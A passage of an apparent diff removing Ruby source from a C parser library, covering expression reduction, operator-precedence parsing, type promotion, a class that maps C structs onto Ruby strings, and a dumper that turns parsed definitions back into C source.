::Integer - r = CExpression.new(nil, nil, r, BaseType.new(:int)) if r.kind_of? ::Integer - return CExpression.new(l, @op, r, @type) - end - l.send(@op, r) - end - - # overflow - tn = (t.pointer? ? :ptr : t.name) - case tn - when :char, :short, :int, :long, :ptr, :longlong, :__int8, :__int16, :__int32, :__int64 - max = 1 << (8*parser.typesize[tn]) - ret = ret.to_i & (max-1) - if not t.pointer? and t.specifier != :unsigned and (ret & (max >> 1)) > 0 # char == unsigned char - ret - max - else - ret - end - when :float, :double, :longdouble - ret.to_f # TODO - end - when :funcall - l = CExpression.reduce(parser, @lexpr) - r = @rexpr.map { |rr| - rr = CExpression.reduce(parser, rr) - rr = CExpression.new(nil, nil, rr, BaseType.new(:int)) if rr.kind_of? ::Integer - rr - } - CExpression.new(l, @op, r, @type) - else - l = CExpression.reduce(parser, @lexpr) if @lexpr - r = CExpression.reduce(parser, @rexpr) if @rexpr - l = CExpression.new(nil, nil, l, BaseType.new(:int)) if l.kind_of? ::Integer - r = CExpression.new(nil, nil, r, BaseType.new(:int)) if r.kind_of? ::Integer - CExpression.new(l, @op, r, @type) - end - end - - def ==(o) - o.object_id == self.object_id or - (self.class == o.class and op == o.op and lexpr == o.lexpr and rexpr == o.rexpr) - end - - def ===(o) - (self.class == o.class and op == o.op and lexpr === o.lexpr and rexpr === o.rexpr) or - (o.class == Variable and not @op and @rexpr == o) - end - - NegateOp = { :== => :'!=', :'!=' => :==, :> => :<=, :>= => :<, :< => :>=, :<= => :> } - # returns a CExpr negating this one (eg 'x' => '!x', 'a > b' => 'a <= b'...) - def self.negate(e) - e.kind_of?(self) ? e.negate : CExpression[:'!', e] - end - def negate - if @op == :'!' - CExpression[@rexpr] - elsif nop = NegateOp[@op] - if nop == :== and @rexpr.kind_of? CExpression and not @rexpr.op and @rexpr.rexpr == 0 and - @lexpr.kind_of? CExpression and [:==, :'!=', :>, :<, :>=, :<=, :'!'].include? @lexpr.op - # (a > b) != 0 => (a > b) - CExpression[@lexpr] - else - CExpression.new(@lexpr, nop, @rexpr, @type) - end - elsif nop = { :'||' => :'&&', :'&&' => :'||' }[@op] - CExpression.new(CExpression.negate(@lexpr), nop, CExpression.negate(@rexpr), @type) - else - CExpression[:'!', self] - end - end - - def walk - case @op - when :funcall, :'?:' - yield @lexpr - @rexpr.each { |arg| yield arg } - when :'->', :'.' - yield @lexpr - else - yield @lexpr if @lexpr - yield @rexpr if @rexpr - end - end - - def complexity - cx = 1 - walk { |e| cx += e.complexity if e.kind_of?(CExpression) } - cx - end - - RIGHTASSOC = [:'=', :'+=', :'-=', :'*=', :'/=', :'%=', :'&=', - :'|=', :'^=', :'<<=', :'>>=', :'?:' - ].inject({}) { |h, op| h.update op => true } - - # key = operator, value = hash regrouping operators of lower precedence - # funcall/array index/member dereference/sizeof are handled in parse_value - OP_PRIO = [[:','], [:'?:'], [:'=', :'+=', :'-=', :'*=', :'/=', - :'%=', :'&=', :'|=', :'^=', :'<<=', :'>>='], [:'||'], - [:'&&'], [:|], [:^], [:&], [:'==', :'!='], - [:'<', :'>', :'<=', :'>='], [:<<, :>>], [:+, :-], - [:*, :/, :%], ].inject({}) { |h, oplist| - lessprio = h.keys.inject({}) { |hh, op| hh.update op => true } - oplist.each { |op| lessprio.update op => true } if RIGHTASSOC[oplist.first] - oplist.each { |op| h[op] = lessprio } - h } - - class << self - # reads a binary operator from the parser, returns the corresponding symbol or nil - def readop(parser) - if not op = parser.skipspaces or op.type != :punct - parser.unreadtok op - return - end - - case op.raw - when '>', '<', '|', '&' # << >> || && - if ntok = parser.readtok and ntok.type == :punct and ntok.raw == op.raw - op.raw << ntok.raw - else - parser.unreadtok ntok - end - when '!' # != (mandatory) - if not ntok = parser.readtok or ntok.type != :punct and ntok.raw != '=' - parser.unreadtok op - return - end - op.raw << ntok.raw - when '+', '-', '*', '/', '%', '^', '=', ',', '?', ':', '>>', '<<', '||', '&&', - '+=','-=','*=','/=','%=','^=','==','&=','|=','!=' # ok - else # bad - parser.unreadtok op - return - end - - # may be followed by '=' - case op.raw - when '+', '-', '*', '/', '%', '^', '&', '|', '>>', '<<', '<', '>', '=' - if ntok = parser.readtok and ntok.type == :punct and ntok.raw == '=' - op.raw << ntok.raw - else - parser.unreadtok ntok - end - end - - op.value = op.raw.to_sym - op - end - - # parse sizeof offsetof float immediate etc into tok.value - def parse_intfloat(parser, scope, tok) - if tok.type == :string and not tok.value - case tok.raw - when 'sizeof' - if ntok = parser.skipspaces and ntok.type == :punct and ntok.raw == '(' - # check type - if v = Variable.parse_type(parser, scope) - v.parse_declarator(parser, scope) - raise tok if v.name != false - raise tok if not ntok = parser.skipspaces or ntok.type != :punct or ntok.raw != ')' - else - raise tok, 'expr expected' if not v = parse(parser, scope) - raise tok if not ntok = parser.skipspaces or ntok.type != :punct or ntok.raw != ')' - end - else - parser.unreadtok ntok - raise tok, 'expr expected' if not v = parse_value(parser, scope) - end - tok.value = parser.sizeof(v) - return - when '__builtin_offsetof' - raise tok if not ntok = parser.skipspaces or ntok.type != :punct or ntok.raw != '(' - raise tok if not ntok = parser.skipspaces or ntok.type != :string or ntok.raw != 'struct' - raise tok if not ntok = parser.skipspaces or ntok.type != :string - raise tok, 'unknown structure' if not struct = scope.struct_ancestors[ntok.raw] or not struct.kind_of? Union or not struct.members - raise tok if not ntok = parser.skipspaces or ntok.type != :punct or ntok.raw != ',' - raise tok if not ntok = parser.skipspaces or ntok.type != :string - tok.value = struct.offsetof(parser, ntok.raw) - raise tok if not ntok = parser.skipspaces or ntok.type != :punct or ntok.raw != ')' - return - end - end - - Expression.parse_num_value(parser, tok) - end - - # returns the next value from parser (parenthesised expression, immediate, variable, unary operators) - def parse_value(parser, scope) - return if not tok = parser.skipspaces - case tok.type - when :string - parse_intfloat(parser, scope, tok) - val = tok.value || tok.raw - if val.kind_of? ::String - raise tok, 'undefined variable' if not val = scope.symbol_ancestors[val] - end - case val - when Type - raise tok, 'invalid variable' - when Variable - val = parse_value_postfix(parser, scope, val) - when ::Float - # parse suffix - type = :double - if (?0..?9).include?(tok.raw[0]) - case tok.raw.downcase[-1] - when ?l; type = :longdouble - when ?f; type = :float - end - end - val = CExpression[val, BaseType.new(type)] - - when ::Integer - # parse suffix - # XXX 010h ? - type = :int - specifier = [] - if (?0..?9).include?(tok.raw[0]) - suffix = tok.raw.downcase[-3, 3] || tok.raw.downcase[-2, 2] || tok.raw.downcase[-1, 1] # short string - specifier << :unsigned if suffix.include?('u') # XXX or tok.raw.downcase[1] == ?x - type = :longlong if suffix.count('l') == 2 - type = :long if suffix.count('l') == 1 - end - val = CExpression[val, BaseType.new(type, *specifier)] - val = parse_value_postfix(parser, scope, val) - else raise parser, "internal error #{val.inspect}" - end - - when :quoted - if tok.raw[0] == ?' - raise tok, 'invalid character constant' if not [1, 2, 4, 8].include? tok.value.length # TODO 0fill - val = CExpression[Expression.decode_imm(tok.value, tok.value.length, :big), BaseType.new(:int)] - val = parse_value_postfix(parser, scope, val) - else - val = CExpression[tok.value, Pointer.new(BaseType.new(tok.raw[0, 2] == 'L"' ? :short : :char))] - val = parse_value_postfix(parser, scope, val) - end - - when :punct - case tok.raw - when '(' - ntok = nil - # check type casting - if v = Variable.parse_type(parser, scope) - v.parse_declarator(parser, scope) - (v.type.attributes ||= []).concat v.attributes if v.attributes - raise tok, 'bad cast' if v.name != false - raise ntok || tok, 'no ")" found' if not ntok = parser.skipspaces or ntok.type != :punct or ntok.raw != ')' - raise ntok, 'expr expected' if not val = parse_value(parser, scope) # parses postfix too - #raise ntok, 'unable to cast a struct' if val.type.untypedef.kind_of? Union - val = CExpression[[val], v.type] - # check compound statement expression - elsif ntok = parser.skipspaces and ntok.type == :punct and ntok.raw == '{' - parser.unreadtok ntok - blk = parser.parse_statement(scope, [:expression]) # XXX nesting ? - raise ntok || tok, 'no ")" found' if not ntok = parser.skipspaces or ntok.type != :punct or ntok.raw != ')' - type = blk.statements.last.kind_of?(CExpression) ? blk.statements.last.type : BaseType.new(:void) - val = CExpression[blk, type] - else - parser.unreadtok ntok - if not val = parse(parser, scope) - parser.unreadtok tok - return - end - raise ntok || tok, 'no ")" found' if not ntok = parser.readtok or ntok.type != :punct or ntok.raw != ')' - val = parse_value_postfix(parser, scope, val) - end - when '.' # float - parse_intfloat(parser, scope, tok) - if not tok.value - parser.unreadtok tok - return - end - val = tok.value || tok.raw - type = :double - case tok.raw.downcase[-1] - when ?l; type = :longdouble - when ?f; type = :float - end - val = CExpression.new[val, BaseType.new(type)] - - when '+', '-', '&', '!', '~', '*', '--', '++', '&&' - # unary prefix - # may have been read ahead - - raise parser if not ntok = parser.readtok - # check for -- ++ && - if ntok.type == :punct and ntok.raw == tok.raw and %w[+ - &].include?(tok.raw) - tok.raw << ntok.raw - else - parser.unreadtok ntok - end - - case tok.raw - when '&' - val = parse_value(parser, scope) - if val.kind_of? CExpression and val.op == :& and not val.lexpr and - (val.rexpr.kind_of? Variable or val.rexpr.kind_of? CExpression) and val.rexpr.type.kind_of? Function - # &&function == &function - elsif (val.kind_of? CExpression or val.kind_of? Variable) and val.type.kind_of? Array - # &ary = ary - else - raise parser, "invalid lvalue #{val}" if not CExpression.lvalue?(val) and not parser.allow_bad_c - raise val.backtrace, 'cannot take addr of register' if val.kind_of? Variable and val.storage == :register and not parser.allow_bad_c - val = CExpression.new(nil, tok.raw.to_sym, val, Pointer.new(val.type)) - end - when '++', '--' - val = parse_value(parser, scope) - raise parser, "invalid lvalue #{val}" if not CExpression.lvalue?(val) and not parser.allow_bad_c - val = CExpression.new(nil, tok.raw.to_sym, val, val.type) - when '&&' - raise tok, 'label name expected' if not val = parser.skipspaces or val.type != :string - val = CExpression.new(nil, nil, Label.new(val.raw, nil), Pointer.new(BaseType.new(:void))) - when '*' - raise tok, 'expr expected' if not val = parse_value(parser, scope) - raise tok, 'not a pointer' if not val.type.pointer? and not parser.allow_bad_c - newtype = val.type.pointer? ? val.type.pointed : BaseType.new(:int) - if not newtype.untypedef.kind_of? Function # *fptr == fptr - val = CExpression.new(nil, tok.raw.to_sym, val, newtype) - end - when '~', '!', '+', '-' - raise tok, 'expr expected' if not val = parse_value(parser, scope) - raise tok, 'type not arithmetic' if not val.type.arithmetic? and not parser.allow_bad_c - val = CExpression.new(nil, tok.raw.to_sym, val, val.type) - val.type = BaseType.new(:int) if tok.raw == '!' - else raise tok, 'internal error' - end - else - parser.unreadtok tok - return - end - else - parser.unreadtok tok - return - end - - if val.kind_of? Variable and val.type.kind_of? Function - # void (*bla)() = printf; => ...= &printf; - val = CExpression[:&, val] - end - - val - end - - # parse postfix forms (postincrement, array index, struct member dereference) - def parse_value_postfix(parser, scope, val) - tok = parser.skipspaces - nval = \ - if tok and tok.type == :punct - case tok.raw - when '+', '++', '-', '--', '->' - ntok = parser.readtok - if (tok.raw == '+' or tok.raw == '-') and ntok and ntok.type == :punct and - (ntok.raw == tok.raw or (tok.raw == '-' and ntok.raw == '>')) - tok.raw << ntok.raw - else - parser.unreadtok ntok - end - case tok.raw - when '+', '-' - nil - when '++', '--' - raise parser, "#{val}: invalid lvalue" if not CExpression.lvalue?(val) - CExpression.new(val, tok.raw.to_sym, nil, val.type) - when '->' - # XXX allow_bad_c.. - raise tok, "#{val}: not a pointer" if not val.type.pointer? - type = val.type.pointed.untypedef - raise tok, "#{val}: bad pointer" if not type.kind_of? Union - raise tok, "#{val}: incomplete type" if not type.members - raise tok, "#{val}: invalid member" if not tok = parser.skipspaces or tok.type != :string or not m = type.findmember(tok.raw) - CExpression.new(val, :'->', tok.raw, m.type) - end - when '.' - type = val.type.untypedef - if not ntok = parser.skipspaces or ntok.type != :string or not type.kind_of? Union - parser.unreadtok ntok - nil - else - raise ntok, "#{val}: incomplete type" if not type.members - raise ntok, "#{val}: invalid member" if not m = type.findmember(ntok.raw) - CExpression.new(val, :'.', ntok.raw, m.type) - end - when '[' - raise tok, "#{val}: index expected" if not idx = parse(parser, scope) - val, idx = idx, val if not val.type.pointer? # fake support of "4[tab]" - raise tok, "#{val}: not a pointer" if not val.type.pointer? - raise tok, "#{val}: invalid index" if not idx.type.integral? - raise tok, "#{val}: get perpendicular ! (elsewhere)" if idx.kind_of?(CExpression) and idx.op == :',' - raise tok || parser, "']' expected" if not tok = parser.skipspaces or tok.type != :punct or tok.raw != ']' - type = val.type.untypedef.type - # TODO boundscheck (and become king of the universe) - CExpression.new(val, :'[]', idx, type) - when '(' - type = val.type.untypedef - type = type.type.untypedef if type.kind_of? Pointer - raise tok, "#{val}: not a function" if not type.kind_of? Function - - args = [] - loop do - a = parse(parser, scope, false) - break if not a - args << a - if not ntok = parser.skipspaces or ntok.type != :punct or ntok.raw != ',' - parser.unreadtok ntok - break - end - end - raise ntok || parser, "#{val}: ')' expected" if not ntok = parser.skipspaces or ntok.type != :punct or ntok.raw != ')' - - type.args ||= [] - raise tok, "#{val}: bad argument count: #{args.length} for #{type.args.length}" if (type.varargs ? (args.length < type.args.length) : (args.length != type.args.length)) - type.args.zip(args) { |ta, a| - p, i = ta.type.pointer?, ta.type.integral? - r = a.reduce(parser) if p or i - if (not p and not i) or (i and not r.kind_of? ::Integer) or (p and r != 0) - tok = tok.dup ; tok.raw = a.to_s - parser.check_compatible_type(tok, a.type, ta.type) - end - } - CExpression.new(val, :funcall, args, type.type) - end - end - - if nval - parse_value_postfix(parser, scope, nval) - else - parser.unreadtok tok - val - end - end - - def parse_popstack(parser, stack, opstack) - r = stack.pop - l = stack.pop - case op = opstack.pop - when :'?:' - stack << CExpression.new(stack.pop, op, [l, r], l.type) - when :',' - stack << CExpression.new(l, op, r, r.type) - when :'=' - unless r.kind_of?(CExpression) and not r.lexpr and r.type.kind_of?(BaseType) and - ((not r.op and r.rexpr.kind_of?(Integer)) or - (r.op == :- and r.rexpr.kind_of?(CExpression) and not r.rexpr.op and not r.rexpr.lexpr and r.rexpr.rexpr.kind_of?(Integer))) and - l.kind_of?(Typed) and (l.type.untypedef.kind_of?(BaseType) or (l.type.untypedef.kind_of?(Pointer) and r.rexpr == 0)) - # avoid useless warnings on unsigned foo = -1 / void *foo = 0 - parser.check_compatible_type(parser, r.type, l.type) - end - if l.kind_of?(Typed) and (lt = l.type.untypedef).kind_of?(BaseType) and r.kind_of?(Typed) and (rt = r.type.untypedef).kind_of?(BaseType) and lt.specifier != :unsigned and rt.specifier == :unsigned and parser.typesize[lt.name] > parser.typesize[rt.name] - # (int32)i = (uchar)255 => 255, not -1 - r = CExpression.new(nil, nil, r, BaseType.new(lt.name, :unsigned)) - end - stack << CExpression.new(l, op, r, l.type) - when :'&&', :'||' - stack << CExpression.new(l, op, r, BaseType.new(:int)) - else - # XXX struct == struct ? - raise parser, "invalid type #{l.type} #{l} for #{op.inspect}" if not l.type.arithmetic? and not parser.allow_bad_c - raise parser, "invalid type #{r.type} #{r} for #{op.inspect}" if not r.type.arithmetic? and not parser.allow_bad_c - - if l.type.pointer? and r.type.pointer? - type = \ - case op - when :'-'; BaseType.new(:long) # addr_t or sumthin ? - when :'-='; l.type - when :'>', :'>=', :'<', :'<=', :'==', :'!='; BaseType.new(:long) - else raise parser, "cannot do #{op.inspect} on pointers" unless parser.allow_bad_c ; l.type - end - elsif l.type.pointer? or r.type.pointer? - puts parser.exception("should not #{op.inspect} a pointer").message if $VERBOSE and not [:'+', :'-', :'=', :'+=', :'-=', :==, :'!='].include? op - type = l.type.pointer? ? l.type : r.type - elsif RIGHTASSOC[op] and op != :'?:' # += etc - type = l.type - else - # yay integer promotion - lt = l.type.untypedef - rt = r.type.untypedef - if (t = lt).name == :longdouble or (t = rt).name == :longdouble or - (t = lt).name == :double or (t = rt).name == :double or - (t = lt).name == :float or (t = rt).name == :float - # long double > double > float ... - type = t - elsif true - # custom integer rules based on type sizes - lts = parser.typesize[lt.name] - rts = parser.typesize[rt.name] - its = parser.typesize[:int] - if not lts or not rts - type = BaseType.new(:int) - elsif lts > rts and lts >= its - type = lt - elsif rts > lts and rts >= its - type = rt - elsif lts == rts and lts >= its - type = lt - type = rt if rt.specifier == :unsigned - else - type = BaseType.new(:int) - end - # end of custom rules - elsif ((t = lt).name == :long and t.specifier == :unsigned) or - ((t = rt).name == :long and t.specifier == :unsigned) - # ... ulong ... - type = t - elsif (lt.name == :long and rt.name == :int and rt.specifier == :unsigned) or - (rt.name == :long and lt.name == :int and lt.specifier == :unsigned) - # long+uint => ulong - type = BaseType.new(:long, :unsigned) - elsif (t = lt).name == :long or (t = rt).name == :long or - ((t = lt).name == :int and t.specifier == :unsigned) or - ((t = rt).name == :int and t.specifier == :unsigned) - # ... long > uint ... - type = t - else - # int - type = BaseType.new(:int) - end - end - - case op - when :'>', :'>=', :'<', :'<=', :'==', :'!=' - # cast both sides - l = CExpression[l, type] if l.type != type - r = CExpression[r, type] if r.type != type - stack << CExpression.new(l, op, r, BaseType.new(:int)) - else - # promote result - stack << CExpression.new(l, op, r, type) - end - end - end - - def parse(parser, scope, allow_coma = true) - opstack = [] - stack = [] - - return if not e = parse_value(parser, scope) - - stack << e - - while op = readop(parser) - case op.value - when :'?' - # a, b ? c, d : e, f == a, (b ? (c, d) : e), f - until opstack.empty? or OP_PRIO[opstack.last][:'?:'] - parse_popstack(parser, stack, opstack) - end - stack << parse(parser, scope) - raise op || parser, '":" expected' if not op = readop(parser) or op.value != :':' - op = op.dup - op.value = :'?:' - when :':' - parser.unreadtok op - break - else - if not allow_coma and op.value == :',' - parser.unreadtok op - break - end - until opstack.empty? or OP_PRIO[op.value][opstack.last] - parse_popstack(parser, stack, opstack) - end - end - - raise op, 'need rhs' if not e = parse_value(parser, scope) - stack << e - opstack << op.value - end - - until opstack.empty? - parse_popstack(parser, stack, opstack) - end - - CExpression[stack.first] - end - end - end - - - - # - # AllocCStruct: ruby interpreter memory-mapped structure - # - - # this maps a C structure from a C parser to a ruby String - # struct members are accessed through obj['fldname'] - # obj.fldname is an alias - class AllocCStruct - # str is a reference to the underlying ruby String - # stroff is the offset from the start of this string (non-nul for nested structs) - # cp is a reference to the C::Parser - # struct to the C::Union/Struct/Array - # sizeof is the byte size of the C struct - attr_accessor :str, :stroff, :cp, :struct - attr_writer :sizeof - def initialize(cp, struct, str=nil, stroff=0) - @cp, @struct = cp, struct - @str = str || [0].pack('C')*sizeof - @stroff = stroff - end - - def sizeof - @sizeof ||= @cp.sizeof(@struct) - end - - def [](*a) - if @struct.kind_of? C::Array and a.length == 1 and @struct.length and a[0].kind_of? Integer - i = a[0] - raise "#{i} out of bounds 0...#{@struct.length}" if i < 0 or i >= @struct.length - off = @stroff + i*@cp.sizeof(@struct.type) - return @cp.decode_c_value(@str, @struct.type, off) - end - - return @str[@stroff..-1][*a] if a.length != 1 - a = a.first - return @str[@stroff..-1][a] if not a.kind_of? Symbol and not a.kind_of? String and not a.kind_of? C::Variable - f = a - raise "#{a.inspect} not a member" if not f.kind_of? C::Variable and not f = @struct.findmember(a.to_s, true) - a = f.name || f - off = @stroff + @struct.offsetof(@cp, a) - if bf = @struct.bitoffsetof(@cp, a) - ft = C::BaseType.new((bf[0] + bf[1] > 32) ? :__int64 : :__int32) - v = @cp.decode_c_value(@str, ft, off) - (v >> bf[0]) & ((1 << bf[1])-1) - else - @cp.decode_c_value(@str, f, off) - end - end - - def []=(*a) - if @struct.kind_of? C::Array and a.length == 2 and @struct.length and a[0].kind_of? Integer - i = a[0] - raise "#{i} out of bounds 0...#{@struct.length}" if i < 0 or i >= @struct.length - off = @stroff + i*@cp.sizeof(@struct.type) - val = @cp.encode_c_value(@struct.type, a[1]) - @str[off, val.length] = val - return - end - - if not a.first.kind_of? Symbol and not a.first.kind_of? String and not a.first.kind_of? C::Variable - # patch @str[@stroff..-1] like a string - # so we must find the intended start offset, and add @stroff to it - if @stroff != 0 - case a.first - when Range - if a.first.begin >= 0 - a[0] = ::Range.new(a[0].begin+@stroff, a[0].end+@stroff, a[0].exclude_end?) - else raise 'no can do, use positive index' - end - when Integer - if a.first >= 0 - a[0] += @stroff - else raise 'no can do, use positive index' - end - else raise 'no can do' - end - end - - return @str.send(:'[]=', *a) # XXX *should* work... - end - - a, val = a - f = a - raise "#{a.inspect} not a struct member" if not f.kind_of? C::Variable and not f = @struct.findmember(a.to_s, true) - a = f.name || f - val = sizeof if val == :size - off = @stroff + @struct.offsetof(@cp, a) - - if bf = @struct.bitoffsetof(@cp, a) - raise "only Integers supported in bitfield #{a}, got #{val.inspect}" if not val.kind_of?(::Integer) - # struct { int i:8; }; => size 8 or 32 ? - ft = C::BaseType.new((bf[0] + bf[1] > 32) ? :__int64 : :__int32) - mask = ((1 << bf[1]) - 1) << bf[0] - preval = @cp.decode_c_value(@str, ft, off) - val = (preval & ~mask) | ((val << bf[0]) & mask) - f = ft - end - - val = @cp.encode_c_value(f, val) - @str[off, val.length] = val - end - - # virtual accessors to members - # struct.foo is aliased to struct['foo'], - # struct.foo = 42 aliased to struct['foo'] = 42 - def method_missing(on, *a) - n = on.to_s - if n[-1] == ?= - send :[]=, n[0...-1], *a - else - super(on, *a) if not @struct.kind_of?(C::Union) or not @struct.findmember(n, true) - send :[], n, *a - end - end - - def to_s(off=nil, maxdepth=500) - return '{ /* ... */ }' if maxdepth <= 0 - str = [''] - if @struct.kind_of?(C::Array) - str.last << "#{@struct.type} x[#{@struct.length}] = " if not off - mlist = (0...@struct.length) - fldoff = mlist.inject({}) { |h, i| h.update i => i*@cp.sizeof(@struct.type) } - elsif @struct.kind_of?(C::Struct) - str.last << "struct #{@struct.name || '_'} x = " if not off - @struct.update_member_cache(@cp) if not @struct.fldlist - fldoff = @struct.fldoffset - mlist = @struct.members.map { |m| m.name || m } - else - str.last << "union #{@struct.name || '_'} x = " if not off - mlist = @struct.members.map { |m| m.name || m } - end - str.last << '{' - mlist.each { |k| - if k.kind_of? Variable # anonymous member - curoff = off.to_i + @struct.offsetof(@cp, k) - val = self[k] - k = '?' - else - curoff = off.to_i + (fldoff ? fldoff[k].to_i : 0) - val = self[k] - end - if val.kind_of?(::Integer) - if val >= 0x100 - val = '0x%X, // +%x' % [val, curoff] - elsif val <= -0x100 - val = '-0x%X, // +%x' % [-val, curoff] - else - val = '%d, // +%x' % [val, curoff] - end - elsif val.kind_of? AllocCStruct - val = val.to_s(curoff, maxdepth-1) - elsif not val - val = 'NULL, // +%x' % curoff # pointer with NULL value - else - val = val.to_s.sub(/$/, ', // +%x' % curoff) - end - val = val.gsub("\n", "\n\t") - str << "\t#{k.kind_of?(::Integer) ? "[#{k}]" : ".#{k}"} = #{val}" - } - str << '}' - str.last << (off ? ',' : ';') - str.join("\n") - end - - def to_array - raise NoMethodError, "Not an Array" if not @struct.kind_of?(C::Array) - ary = [] - @struct.length.times { |i| ary << self[i] } - ary - end - - def to_strz - raise NoMethodError, "Not an Array" if not @struct.kind_of?(C::Array) - a = to_array - a[a.index(0)..-1] = [] if a.index(0) - a.pack('C*') - end - end - - class Parser - # find a Struct/Union object from a struct name/typedef name - # raises if it cant find it - def find_c_struct(structname) - structname = structname.to_s if structname.kind_of?(::Symbol) - if structname.kind_of?(::String) and not struct = @toplevel.struct[structname] - struct = @toplevel.symbol[structname] - raise "unknown struct #{structname.inspect}" if not struct - struct = struct.type.untypedef - struct = struct.pointed while struct.pointer? - raise "unknown struct #{structname.inspect}" if not struct.kind_of? C::Union - end - struct = structname if structname.kind_of? C::Union - raise "unknown struct #{structname.inspect}" if not struct.kind_of? C::Union - struct - end - - # find a C::Type (struct/union/typedef/basetype) from a string - def find_c_type(typename) - typename = typename.to_s if typename.kind_of? ::Symbol - if typename.kind_of?(::String) and not type = @toplevel.struct[typename] - if type = @toplevel.symbol[typename] - type = type.type.untypedef - else - begin - lexer.feed(typename) - b = C::Block.new(@toplevel) - var = Variable.parse_type(self, b) - var.parse_declarator(self, b) - type = var.type - rescue - end - end - end - type = typename if typename.kind_of?(C::Type) - raise "unknown type #{typename.inspect}" if not type.kind_of? C::Type - type - end - - # allocate a new AllocCStruct from the struct/struct typedef name of the current toplevel - # optionally populate the fields using the 'values' hash - def alloc_c_struct(structname, values=nil) - struct = find_c_struct(structname) - st = AllocCStruct.new(self, struct) - values.each { |k, v| st[k] = v } if values - st - end - - # parse a given String as an AllocCStruct - # offset is an optionnal offset from the string start - # modification to the structure will modify the underlying string - def decode_c_struct(structname, str, offset=0) - struct = find_c_struct(structname) - AllocCStruct.new(self, struct, str, offset) - end - - # allocate an array of types - # init is either the length of the array, or an array of initial values - def alloc_c_ary(typename, init=1) - type = find_c_type(typename) - len = init.kind_of?(Integer) ? init : init.length - struct = C::Array.new(type, len) - st = AllocCStruct.new(self, struct) - if init.kind_of?(::Array) - init.each_with_index { |v, i| - st[i] = v - } - end - st - end - - # "cast" a string to C::Array - def decode_c_ary(typename, len, str, offset=0) - type = find_c_type(typename) - struct = C::Array.new(type, len) - AllocCStruct.new(self, struct, str, offset) - end - - # convert (pack) a ruby value into a C buffer - # packs integers, converts Strings to their C pointer (using DynLdr) - def encode_c_value(type, val) - type = type.type if type.kind_of? Variable - - case val - when nil; val = 0 - when ::Integer - when ::String - val = DynLdr.str_ptr(val) - when ::Hash - type = type.pointed while type.pointer? - raise "need a struct ptr for #{type} #{val.inspect}" if not type.kind_of? Union - buf = alloc_c_struct(type, val) - val.instance_variable_set('@rb2c', buf) # GC trick - val = buf - when ::Proc - val = DynLdr.convert_rb2c(type, val) # allocate a DynLdr callback - when AllocCStruct - val = DynLdr.str_ptr(val.str) + val.stroff - #when ::Float # TODO - else raise "TODO #{val.inspect}" - end - - val = Expression.encode_immediate(val, sizeof(type), @endianness) if val.kind_of?(::Integer) - - val - end - - def decode_c_value(str, type, off=0) - type = type.type if type.kind_of? Variable - type = type.untypedef - if type.kind_of? C::Union or type.kind_of? C::Array - return AllocCStruct.new(self, type, str, off) - end - val = Expression.decode_immediate(str, sizeof(type), @endianness, off) - val = Expression.make_signed(val, sizeof(type)*8) if type.integral? and type.signed? - val = nil if val == 0 and type.pointer? - val - end - end - - - # - # Dumper : objects => C source - # - - class Parser - # returns a big string containing all definitions from headers used in the source (including macros) - def factorize(*a) - factorize_init - parse(*a) - raise @lexer.readtok || self, 'eof expected' if not @lexer.eos? - factorize_final - end - - def factorize_init - @lexer.traced_macros = [] - end - - def factorize_final - # now find all types/defs not coming from the standard headers - # all - all = @toplevel.struct.values + @toplevel.symbol.values - all -= all.grep(::Integer) # Enum values - - # list of definitions of user-defined objects - userdefined = all.find_all { |t| - t.backtrace.backtrace.grep(::String).grep(/^</).empty? - } - - @toplevel.statements.clear # don't want all Declarations - - # a macro is fine too - @lexer.dump_macros(@lexer.traced_macros, false) + "\n\n" + - dump_definitions(userdefined, userdefined) - end - - # returns a big string representing the definitions of all terms appearing in +list+, excluding +exclude+ - # includes dependencies - def dump_definitions(list, exclude=[]) - # recurse all dependencies - todo_rndr = {} - todo_deps = {} - list.each { |t| - todo_rndr[t], todo_deps[t] = t.dump_def(@toplevel) - } - # c.toplevel.anonymous_enums.to_a.each { |t| todo_rndr[t], todo_deps[t] = t.dump_def(c.toplevel) } - while !(ar = (todo_deps.values.flatten - todo_deps.keys)).empty? - ar.each { |t| - todo_rndr[t], todo_deps[t] = t.dump_def(@toplevel) - } - end - exclude.each { |t| todo_deps.delete t ; todo_rndr.delete t } - todo_deps.each_key { |t| todo_deps[t] -= exclude } - - all = @toplevel.struct.values + @toplevel.symbol.values - all -= all.grep(::Integer) # Enum values - - @toplevel.dump_reorder(all, todo_rndr, todo_deps)[0].join("\n") - end - - # returns a string containing the C definition(s) of toplevel functions, with their dependencies - def dump_definition(*funcnames) - oldst = @toplevel.statements - @toplevel.statements = [] - dump_definitions(funcnames.map { |f| @toplevel.symbol[f] }) - ensure - @toplevel.statements = oldst - end - - def to_s - @toplevel.dump(nil)[0].join("\n") - end - end - - class Statement - def self.dump(e, scope, r=[''], dep=[]) - case e - when nil; r.last << ';' - when Block - r.last << ' ' if not r.last.empty? - r.last << '{' - tr, dep = e.dump(scope, [''], dep) - tr.pop if tr.last.empty? - r.concat tr.map { |s| Case.dump_indent(s) } - (r.last[-1] == ?{ ? r.last : r) << '}' - else - tr, dep = e.dump(scope, [''], dep) - r.concat tr.map { |s| Case.dump_indent(s) } - end - [r, dep] - end - - def to_s - dump(Block.new(nil))[0].join(' ') - end - end - - class Block - def to_s() dump(nil)[0].join("\n") end - - # return array of c source lines and array of dependencies (objects) - def dump(scp, r=[''], dep=[]) - mydefs = @symbol.values.grep(TypeDef) + @struct.values + anonymous_enums.to_a - todo_rndr = {} - todo_deps = {} - mydefs.each { |t| # filter out Enum values - todo_rndr[t], todo_deps[t] = t.dump_def(self) - } - r, dep = dump_reorder(mydefs, todo_rndr, todo_deps, r, dep) - dep -= @symbol.values + @struct.values - [r, dep] - end - - def dump_reorder(mydefs, todo_rndr, todo_deps, r=[''], dep=[]) - val = todo_deps.values.flatten.uniq - dep |= val - dep -= mydefs | todo_deps.keys - todo_deps.each { |k, v| v.delete k } - ext = val - mydefs - if ext.length > todo_deps.length - todo_deps.each_key { |k| todo_deps[k] = todo_deps[k] & mydefs } - else - ext.each { |k| todo_deps.each_value { |v| v.delete k } } - end - - # predeclare structs involved in cyclic dependencies - dep_cycle = lambda { |ary| - # sexyness inside (c) - deps = todo_deps[ary.last] - if deps.include? ary.first; ary - elsif (deps-ary).find { |d| deps = dep_cycle[ary + [d]] }; deps - end - } - todo_rndr.keys.grep(Union).find_all { |t| t.name }.sort_by { |t| t.name }.each { |t| - oldc = nil - while c = dep_cycle[[t]] - break if oldc == c - r << "#{t.kind_of?(Struct) ? 'struct' : 'union'} #{t.name};" if not oldc - oldc = c - c.each { |s| - # XXX struct z { struct a* }; struct a { void (*foo)(struct z); }; - todo_deps[s].delete t unless 